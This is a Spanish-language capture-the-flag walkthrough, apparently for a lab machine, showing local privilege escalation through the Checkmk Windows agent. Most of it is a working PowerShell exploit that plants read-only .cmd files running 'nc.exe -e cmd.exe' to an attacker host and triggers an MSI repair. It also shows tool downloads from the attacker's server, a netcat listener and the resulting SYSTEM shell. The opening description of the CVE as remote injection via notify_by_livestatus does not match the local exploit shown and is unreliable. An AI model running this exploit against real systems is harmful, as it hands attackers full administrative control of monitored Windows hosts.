| Check_MK Agent 2.1.0p10 - CVE-2024-0670 |
|---|
| Este CVE permite a un atacante ejecutar comandos arbitrarios en el servidor mediante una cadena especialmente creada enviada al componente notify_by_livestatus, que forma parte de la infraestructura de notificaciones. |
Aquí hay un blog que explica cómo aplicar la vulnerabilidad:
Utilizaremos el siguiente script de PowerShell, que llamaremos bad.ps1, que nos servirá para ejecutar comandos:
param(
[int]$MinPID = 1000,
[int]$MaxPID = 15000,
[string]$LHOST = "Tu_IP",
[string]$LPORT = "443"
)
# 1. Define the malicious batch payload
$NcPath = "C:\Windows\Temp\nc.exe"
$BatchPayload = "@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT"
# 2. Find the MSI trigger
$msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
Where-Object { $_.DisplayName -like '*mk*' } |
Select-Object -First 1).LocalPackage
if (!$msi) {
Write-Error "Could not find Checkmk MSI"
return
}
Write-Host "[*] Found MSI at $msi"
# 3. Spray the Read-Only files
Write-Host "[*] Seeding $MinPID to $MaxPID..."
foreach ($ctr in 0..1) {
for ($num = $MinPID; $num -le $MaxPID; $num++) {
$filePath = "C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd"
try {
[System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII)
Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue
} catch {
# 123
}
}
}
Write-Host "[*] Seeding complete."
# 4. Launch the trigger
Write-Host "[*] Triggering MSI repair..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$msi`" /qn /l*vx C:\Windows\Temp\cmk_repair.log" -Wait
Write-Host "[*] Trigger sent. Check listener."
Aparte de este script, ocuparemos el binario nc.exe y RunasCs.exe.
El binario nc.exe lo puedes encontrar en tu propio sistema, solo si usas Kali. Desconozco si también se encuentra en Parrot:
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
Solo cópialo en tu directorio de trabajo.
Para el binario RunasCs.exe, debemos descargar el archivo ZIP de su repositorio y ahí lo encontraremos:
Movámonos a la raíz y creamos un directorio temporal:
PS C:\Users\monitoring_svc\Desktop> cd C:\
PS C:\> mkdir Temp
PS C:\> cd Temp
Descargamos los 3 archivos que ya tenemos usando wget:
PS C:\Temp> wget “http://Tu_IP/RunasCs.exe” -UseBasicParsing -OutFile “RunasCs.exe”
PS C:\Temp> wget “http://Tu_IP/nc.exe" -UseBasicParsing -OutFile “nc.exe"
PS C:\Temp> wget “http://Tu_IP/bad.ps1” -UseBasicParsing -OutFile “bad.ps1”
Revisemos si tenemos todos los archivos:
PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/15/2025 6:40 AM 1417 bad.ps1
-a---- 11/15/2025 6:40 AM 59392 nc.exe
-a---- 11/15/2025 6:40 AM 51712 RunasCs.exe
Moveremos el binario nc.exe al directorio ``C:\Windows\Temp`:
PS C:\Temp> mv nc.exe C:\Windows\Temp
Ya tenemos todo listo en la máquina AD.
Abre un listener usando rlwrap en conjunto con netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Usamos RunasCs.exe para ejecutar nuestro script de PowerShell:
PS C:\Temp> .\RunasCs.exe web_svc '**********' “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Temp\bad.ps1”
[*] Found MSI at C:\Windows\Installer\1e6f2.msi
[*] Seeding 1000 to 15000...
[*] Seeding complete.
[*] Triggering MSI repair...
[*] Trigger sent. Check listener.
Funcionó.
Observa la netcat:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.93] 60185
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Estamos dentro y somos el Administrador.
Obtengamos la última flag:
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
...
Y con esto, terminamos la máquina.
Links de Investigación
- https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
- https://www.exploit-db.com/exploits/52280
- https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
- https://github.com/0x6rss/CVE-2025-24071_PoC
- https://www.thehacker.recipes/ad/movement/dacl/addmember
- https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
- https://github.com/ozelis/winrmexec.git
- https://github.com/peass-ng/PEASS-ng
- https://pentest-tools.com/vulnerabilities-exploits/checkmk-210p40-22x-220p23-23x-230b1-24x-240b1-privilege-escalation-vulnerability_22572
- https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/
- https://github.com/antonioCoco/RunasCs